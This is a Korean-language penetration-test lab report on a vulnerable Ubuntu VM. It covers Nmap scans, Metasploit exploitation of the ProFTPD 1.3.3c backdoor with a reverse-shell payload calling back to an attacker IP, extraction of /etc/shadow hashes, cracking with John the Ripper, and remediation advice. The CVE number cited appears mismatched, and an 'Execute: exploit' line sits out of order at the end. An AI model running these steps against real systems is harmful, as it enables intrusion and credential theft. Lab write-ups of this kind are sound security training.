
침투 테스트 실습: 취약한 Ubuntu VM을 대상으로 합니다. ProFTPD 1.3.3c 백도어(CVE-2010-4221)를 악용하여 루트 권한을 획득하고 플래그를 캡처했습니다. Nmap 열거, Metasploit 페이로드 설정, 사용자 해시 크래킹(John the Ripper)을 포함합니다.
공격 보안 연구실 : ProFTPD 1.3.3c 백도어 익스플로잇 (루트 플래그)
이 보고서는 취약한 Linux 가상 머신(VM)에 수행된 침투 테스트를 상세히 설명하며, 즉시 루트 액세스를 허용한 고위험 서비스 취약점 식별에 중점을 둡니다.
| 세부 사항 | 값 |
|---|---|
| 대상 IP 주소 | [ 192.168.222.130] |
| 공격자 IP 주소 (LHOST) | [ 192.168.222.128] |
| 대상 OS | Ubuntu 4ubuntu2.2 (Linux Kernel 3.x) |
| 목표 | 루트 레벨 셸 획득 및 플래그 파일 검색 |
초기 정찰은 Nmap을 사용한 서비스 스캔으로 열린 포트와 서비스 버전을 식별하는 것이었습니다.
명령어:
sudo nmap -sS -sV 192.168.222.130
주요 발견 사항:
| 포트 | 서비스 | 버전 | 위험도 | | :--- | :--- | :--- | :---
| 21/tcp | ftp | ProFTPD 1.3.3c | 심각 (악용 가능한 백도어) |
| 22/tcp | ssh | OpenSSH 7.2p2 | 낮음 (표준 서비스) |
| 80/tcp | http | Apache httpd 2.4.18 | 낮음 (뚜렷한 웹 취약점 발견되지 않음) |
이후 취약점 스크립트 스캔을 통해 FTP 서비스 내에 매우 심각한 백도어의 존재가 확인되었습니다.
Nmap 스크립트 출력은 루트 사용자로의 명령 실행을 명확히 보여주었습니다:
| ftp-proftpd-backdoor:
| 이 설치본은 백도어가 설치되었습니다.
| Command: id
|_ Results: uid=0(root) gid=0(root) groups=0(root)...
3. 익스플로잇 및 루트 셸 획득
Metasploit Framework를 사용하여 확인된 ProFTPD 백도어를 악용했습니다.
익스플로잇 단계:
Launch Metasploit: msfconsole
Select Exploit Module: use exploit/unix/ftp/proftpd_133c_backdoor
Set Options:
Bash
set RHOSTS 192.168.222.130
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.222.128
결과: 명령 셸 세션이 성공적으로 설정되어 즉시 루트 권한(uid=0)이 부여되었습니다.
4. 사후 악용 및 플래그 검색
자격 증명 수집
시스템의 사용자 해시는 사후 악용 분석을 위해 /etc/shadow에서 추출되었습니다. 사용자 marlinspike의 해시는 John the Ripper를 사용하여 성공적으로 크래킹되었습니다.
사용된 명령어 (공격자 머신에서):
Bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
크래킹된 자격 증명:
User: marlinspike
Password: marlinspike
5. 조치 권장 사항
FTP 서비스가 손상되어 시스템의 보안 상태가 매우 취약합니다. 시스템을 보호하기 위해 즉시 조치를 취해야 합니다:
즉시 패치/업그레이드: 알려진 백도어 및 관련 CVE를 수정하기 위해 ProFTPD 서비스를 즉시 패치하거나 안전한 버전(1.3.3g 이상)으로 업그레이드해야 합니다.
서비스 제거: FTP가 시스템 기능에 필요하지 않은 경우 서비스를 완전히 제거해야 합니다.
방화벽: 포트 21에 대한 외부 액세스를 차단하기 위해 엄격한 방화벽 규칙(iptables/ufw)을 구현하십시오.
SSH 보안 구성: 루트 로그인을 비활성화하고 키 기반 인증을 적용하기 위해 SSH 구성을 검토하십시오.
Execute: exploit